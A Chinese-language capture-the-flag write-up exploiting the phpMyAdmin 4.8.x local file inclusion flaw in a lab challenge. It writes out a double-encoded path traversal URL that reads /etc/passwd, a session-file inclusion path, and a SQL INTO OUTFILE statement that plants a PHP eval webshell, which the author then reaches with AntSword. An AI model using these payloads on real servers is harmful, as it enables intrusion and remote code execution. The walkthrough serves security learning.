首先是进去是一个登陆的界面
顺手输入 root root 就进去了
一开始不是很明白为什么别人的write up都知道文件包含的路径 后面看了看题目提示的解题思路
我去谷歌了一下 题目的名字 发现原型是 phpmyadmin 4.8.x 版本的文件包含漏洞
http://shaobaobaoer.cn/archives/625/phpmyadmin-4.8.x-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E4%B8%8E%E5%A4%8D%E7%8E%B0
这篇文章我觉的讲解的非常详细 所以看了漏洞原理分析之后 发现只要我们符合源代码那五个if语句就可以进行文件包含 具体的链接里面都有
所以首先 进入 /index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd 这里
显示如图 可以确定了有文件包含漏洞 这里为什么是 %253f 这其实就是和背景介绍中说的通过两次编码可以绕过waf的检查 %25 编码后是 % 然后和后面的 3f 形成 %3f %3f 编码后变成? 所以就变成了 /index.php?target=db_sql.php?/../../../../../../../../etc/passwd 这个
所以接下来我们想要getshell 直接在sql 中执行 SELECT ' <?php phpinfo() ?>'; 就可以了如下图
然后我们要包含session 因为session文件路径已知 以下四个是常见的php-session存放的位置
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
这里我们使用的是第三个
首先再谷歌浏览器 f12 获取我们的session的值 如下图
r这里的value 就是我们获取的数值 然后 /index.php?target=db_sql.php%253f/../../../../../../tmp/sess_(加上的自己的数值)
r然后通过爆出来的路径 将文件写入 select '<?php eval($_GET[hack]); ?>' into outfile '/var/www/html/hack.php'
然后我们通过蚁剑进行连接
然后再根目录下就会发现key.txt
最后flag是
mozhee16daa71b7c7667a57dc6351dbe